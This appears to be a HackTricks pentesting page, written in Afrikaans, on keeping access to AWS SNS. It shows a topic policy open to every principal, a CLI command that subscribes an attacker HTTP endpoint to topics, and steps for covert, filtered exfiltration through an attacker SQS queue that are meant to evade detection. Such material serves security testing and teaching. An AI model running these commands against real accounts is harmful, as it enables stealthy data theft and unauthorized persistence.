# AWS - SNS Persistensie

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

Vir meer inligting, kyk:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### Persistensie

Wanneer jy 'n **SNS topic** skep, moet jy met 'n IAM-beleid aandui **wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
Die volgende beleid gee aan almal in AWS toegang om te lees en te skryf in die SNS topic genaamd **`MySNS.fifo`**:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
```
### Skep intekenaars

Om voort te gaan om al die boodskappe van al die onderwerpe te eksfiltreer, kan 'n aanvaller **intekenaars vir al die onderwerpe skep**.

Let wel dat as die **onderwerp van die tipe FIFO** is, slegs intekenaars wat die protokol **SQS** gebruik, gebruik kan word.
```bash
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
### Bedekte, selektiewe eksfiltrasie via FilterPolicy op MessageBody

'n Aanvaller met `sns:Subscribe` en `sns:SetSubscriptionAttributes` op 'n topic kan 'n stil SQS-subskripsie skep wat slegs boodskappe deurstuur waarvan die JSON-body 'n baie noue filter pas (byvoorbeeld `{"secret":"true"}`). Dit verminder volume en opsporing terwyl dit steeds sensitiewe rekords eksfiltreer.

**Potensiële Impak**: Bedekte, lae-noise eksfiltrasie van slegs geteikende SNS-boodskappe vanaf 'n slagoffer-topic.

Steps (AWS CLI):
- Sorg dat die aanvaller se SQS-queuebeleid `sqs:SendMessage` vanaf die slagoffer `TopicArn` toelaat (Condition `aws:SourceArn` gelyk aan die `TopicArn`).
- Skep SQS-subskripsie vir die topic:

```bash
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
```

- Stel die filter in om op die message body te werk en slegs by `secret=true` te pas:

```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
```

- Opsionele stilheid: skakel RawMessageDelivery aan sodat slegs die rou payload by die ontvanger aankom:

```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
```

- Validering: publiseer twee boodskappe en bevestig dat slegs die eerste aan die aanvaller se queue afgelewer word. Voorbeeld payloads:

```json
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
```

- Opschoning: teken uit en verwyder die aanvaller se SQS-queue indien geskep vir persistence testing.

{{#include ../../../../banners/hacktricks-training.md}}
